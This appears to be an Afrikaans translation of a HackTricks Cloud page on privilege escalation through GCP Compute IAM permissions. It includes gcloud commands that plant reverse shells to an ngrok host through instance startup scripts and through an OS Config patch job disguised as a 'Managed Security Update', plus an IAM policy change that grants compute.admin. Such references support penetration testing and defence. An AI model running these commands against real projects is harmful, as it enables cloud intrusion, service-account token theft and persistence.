GCP - Compute Privesc
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Compute
Vir meer inligting oor Compute en VPC (netwerk) in GCP, kyk:
Caution
Let daarop dat om al die privilege escalation aanvalle uit te voer wat vereis dat die metadata van die instansie gewysig word (soos om nuwe gebruikers en SSH sleutels by te voeg), dit nodig is dat jy
actAstoestemmings oor die SA wat aan die instansie geheg is, het, selfs al is die SA reeds geheg!
compute.projects.setCommonInstanceMetadata
Met daardie toestemming kan jy die metadata inligting van ’n instansie wysig en die geautoriseerde sleutels van ’n gebruiker verander, of ’n nuwe gebruiker met sudo toestemmings skep. Daarom sal jy in staat wees om via SSH in enige VM instansie in te log en die GCP Service Account waarmee die Instansie loop, te steel.
Beperkings:
- Let daarop dat GCP Service Accounts wat in VM instansies loop, standaard ’n baie beperkte omvang het
- Jy sal in staat moet wees om die SSH bediener te kontak om in te log
Vir meer inligting oor hoe om hierdie toestemming te benut, kyk:
Jy kan ook hierdie aanval uitvoer deur ’n nuwe opstart-skrip by te voeg en die instansie te herbegin:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
Hierdie toestemming gee die dieselfde voorregte as die vorige toestemming maar oor ’n spesifieke instansie in plaas van ’n hele projek. Die dieselfde ontploffings en beperkings soos vir die vorige afdeling geld.
compute.instances.setIamPolicy
Hierdie tipe toestemming sal jou toelaat om jouself ’n rol met die vorige toestemmings toe te ken en voorregte te verhoog deur dit te misbruik. Hier is ’n voorbeeld om roles/compute.admin aan ’n Diensrekening toe te voeg:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
As OSLogin geaktiveer is in die instansie, kan jy net gcloud compute ssh [INSTANCE] uitvoer en met die instansie verbind. Jy sal nie root privs binne die instansie hê nie.
Tip
Om suksesvol in te log met hierdie toestemming binne die VM instansie, moet jy die
iam.serviceAccounts.actAstoestemming oor die SA wat aan die VM geheg is, hê.
compute.instances.osAdminLogin
As OSLogin geaktiveer is in die instansie, kan jy net gcloud compute ssh [INSTANCE] uitvoer en met die instansie verbind. Jy sal root privs binne die instansie hê.
Tip
Om suksesvol in te log met hierdie toestemming binne die VM instansie, moet jy die
iam.serviceAccounts.actAstoestemming oor die SA wat aan die VM geheg is, hê.
compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp
Dit is moontlik om ’n virtuele masjien met ’n toegewyde Service Account te skep en die token van die diensrekening te steel deur toegang tot die metadata om die bevoegdhede na dit te verhoog.
Die ontploffingskryscript vir hierdie metode kan hier gevind word.
osconfig.patchDeployments.create | osconfig.patchJobs.exec
As jy die osconfig.patchDeployments.create of osconfig.patchJobs.exec toestemmings het, kan jy ’n patch werk of ontplooiing skep. Dit sal jou in staat stel om lateraal in die omgewing te beweeg en kode-uitvoering op al die rekenaarinstansies binne ’n projek te verkry.
Let daarop dat jy op die oomblik nie actAs toestemming oor die SA wat aan die instansie geheg is, nodig het nie.
As jy dit handmatig wil ontplof, sal jy of ’n patch werk of ontplooiing** moet skep.**
Vir ’n patch werk, voer in:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
Om ’n patch-implementering te ontplooi:
gcloud compute os-config patch-deployments create <name> ...
Die hulpmiddel patchy kon in die verlede gebruik word om hierdie miskonfigurasie te benut (maar dit werk nou nie).
’n Aanvaller kan dit ook misbruik vir volharding.
compute.machineImages.setIamPolicy
Gee jouself ekstra regte op die rekenaarbeeld.
compute.snapshots.setIamPolicy
Gee jouself ekstra regte op ’n skyfopname.
compute.disks.setIamPolicy
Gee jouself ekstra regte op ’n skyf.
Bypass Access Scopes
Volg hierdie skakel om ’n paar idees te vind om toegangskopes te omseil.
Plaaslike Privilege Escalation in GCP Compute-instansie
GCP - local privilege escalation ssh pivoting
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

